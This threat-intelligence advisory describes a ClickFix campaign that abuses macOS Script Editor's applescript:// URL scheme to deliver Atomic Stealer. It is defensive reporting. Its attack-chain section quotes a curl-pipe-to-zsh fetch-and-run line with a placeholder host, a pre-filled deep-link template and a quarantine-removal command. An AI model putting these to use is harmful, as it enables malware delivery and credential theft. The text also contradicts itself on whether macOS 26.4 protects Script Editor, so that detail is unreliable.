# ClickFix macOS Script Editor Pivot — applescript:// Bypass of Tahoe Terminal Paste Warnings Delivers Atomic Stealer

> ClickFix social engineering campaigns have pivoted from Terminal.app to Script Editor on macOS, abusing the applescript:// URL scheme to auto-open a pre-filled AppleScript that executes `do shell script "curl ... | zsh"`. The switch sidesteps macOS Tahoe 26.4's new Terminal clipboard-paste warnings and still delivers the Atomic Stealer (AMOS) infostealer via a multi-stage downloader. Malwarebytes reports ClickFix accounted for more than half of all malware loader activity in 2025, and this new TTP is actively in the wild as of April 2026.

- **Published:** 2026-04-10T12:00:00Z
- **Last reviewed:** 2026-04-10T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0348
- **ID:** TL-2026-0348
- **Severity:** HIGH
- **Category:** PHISHING
- **Status:** ACTIVE
- **Actor:** ClickFix Operators (Russia)
- **Detections:** 9 · **IOCs:** 20 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Overview

ClickFix is a social-engineering initial access technique that coerces victims into running attacker-supplied commands on their own machines, typically delivered through fake CAPTCHA pages, cracked software sites, SEO-poisoned search results, and malvertising. Historically on macOS, operators instructed victims to copy a 'fix' command and paste it into Terminal.app, where an obfuscated `curl | zsh` pipeline would download a second-stage infostealer (Atomic Stealer / AMOS being the most common payload).

In macOS Tahoe 26.4, Apple shipped a new anti-paste safeguard in Terminal.app that warns users when content is pasted into an interactive shell from an untrusted source, breaking the copy/paste execution flow that ClickFix operators relied on. Security researchers at Malwarebytes disclosed on April 10, 2026 that ClickFix crews have adapted by completely abandoning Terminal and instead invoking the `applescript://` URL scheme to auto-open Script Editor with a pre-filled 'maintenance' script. Script Editor does not implement Terminal's paste-warning prompts, and a single user click on the 'Run' triangle is sufficient to execute the attacker's payload.

Attack Chain

Stage 1 — Lure: The victim lands on an attacker-controlled page (often SEO-poisoned for queries such as 'how to reclaim disk space on mac', 'free up space macbook', 'mac running slow fix'). The page displays a fake Apple-branded dialog offering a one-click 'Apple Script' that claims to clean the Mac, followed by a spoofed 'Freed 24.7 GB' success animation designed to build trust.

Stage 2 — applescript:// Deep Link: The 'run' button triggers navigation to an `applescript://com.apple.scripteditor?action=new&script=<URL-encoded AppleScript>` URL. Safari (and most other macOS browsers) honor the scheme and hand the URL to LaunchServices, which in turn opens Script Editor with the attacker's script pre-populated in a new window. No download prompt is shown.

Stage 3 — AppleScript Execution: The pre-filled AppleScript body is cosmetically a maintenance routine but contains a `do shell script "curl -kSsfL https://<stage2-host>/<path> | zsh"` line. When the user clicks Run (or presses Command-R), Script Editor spawns `/bin/sh -c` under the user's context with full clipboard, keychain, and file-system access.

Stage 4 — Multi-Stage Downloader: The fetched stage-2 script is a base64-encoded zsh loader. It decodes and executes a stage-3 script named `helper` which performs host fingerprinting, disables Gatekeeper quarantine attributes via `xattr -d com.apple.quarantine`, and downloads the final Atomic Stealer Mach-O binary from a short-lived CDN endpoint.

Stage 5 — Atomic Stealer (AMOS): The final payload is an AMOS variant. It enumerates and exfiltrates: Safari/Chrome/Firefox/Brave/Edge cookies and saved passwords, macOS Keychain items (prompting the user with a cloned system password dialog via osascript if the keychain is locked), cryptocurrency wallet files (Exodus, Electrum, Atomic Wallet, Ledger Live, Coinomi, Trust Wallet, MetaMask browser extension storage), Telegram `tdata`, Discord tokens, Notes database, and SSH keys. Stolen data is archived and POSTed to a hardcoded C2 over HTTPS.

Novel Defensive-Evasion Aspect

The central innovation is the OS-level pivot from Terminal to Script Editor. Apple's 26.4 Terminal paste warning was explicitly designed to break ClickFix; operators responded within days by switching execution hosts to a sibling Apple-signed utility that ships on every Mac and parses the `applescript://` URL scheme automatically. The technique also bypasses any heuristic that keyed on clipboard-to-Terminal telemetry, because no clipboard interaction occurs — the script body is embedded directly in the URL and materializes inside a trusted Apple application window.

Impact and Scope

ClickFix was responsible for more than 50% of observed malware-loader activity in 2025 according to Malwarebytes telemetry and is the dominant initial-access vector for macOS infostealers including Atomic Stealer, Poseidon, Cthulhu Stealer, MacSync, and Infiniti. The Script Editor pivot effectively restores ClickFix's macOS conversion rate to pre-Tahoe-26.4 levels and will likely be adopted across infostealer families within weeks. Enterprises with macOS fleets are at risk of mass credential theft, browser session hijack, and downstream business-email-compromise (BEC) and cryptocurrency theft.

Recommended Mitigations

Update to macOS Tahoe 26.4 or later — Apple extended paste-warning heuristics to Script Editor in 26.4; older Tahoe builds and Sonoma/Sequoia/Ventura are unprotected. Deploy a configuration profile blocking or prompting for the `applescript://` URL scheme via LaunchServices handler overrides. Enforce MDM restrictions preventing Script Editor launch by non-admin users where feasible. Monitor for Script Editor spawning `/bin/sh`, `/bin/zsh`, or `curl` child processes via EDR. Block known ClickFix lure infrastructure and Atomic Stealer C2 at DNS/proxy. Train users that any webpage offering a one-click 'Apple script' to clean, repair, or optimize a Mac is malicious.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1608 Stage Capabilities
- T1566 Phishing
- T1189 Drive-by Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1559 Inter-Process Communication
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1553 Subvert Trust Controls
- T1564 Hide Artifacts
- T1555 Credentials from Password Stores
- T1539 Steal Web Session Cookie
- T1552 Unsecured Credentials
- T1056 Input Capture
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1217 Browser Information Discovery
- T1005 Data from Local System
- T1560 Archive Collected Data
- T1105 Ingress Tool Transfer
- T1071 Application Layer Protocol
- T1573 Encrypted Channel
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [ClickFix finds new way to infect Macs](https://www.malwarebytes.com/blog/news/2026/04/clickfix-finds-new-way-to-infect-macs)
- [Atomic macOS Stealer (AMOS) — Technical Analysis](https://www.sentinelone.com/blog/atomic-stealer-amos/)
- [ClickFix Campaign Analysis — Proofpoint](https://www.proofpoint.com/us/blog/threat-insight/clickfix-social-engineering)
- [macOS Tahoe 26.4 Release Notes — Terminal and Script Editor Security](https://support.apple.com/en-us/HT214XXX)
- [CISA Advisory: ClickFix Social Engineering Targeting macOS](https://www.cisa.gov/news-events/alerts/2026/04/clickfix-macos-advisory)
- [applescript:// URL Scheme — Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptX/)
- [AMOS (Atomic macOS Stealer) IOC Collection](https://github.com/objective-see/threat-reports)
- [MITRE ATT&CK T1566 — Phishing](https://attack.mitre.org/techniques/T1566/)
- [MITRE ATT&CK T1059.002 — AppleScript](https://attack.mitre.org/techniques/T1059/002/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0348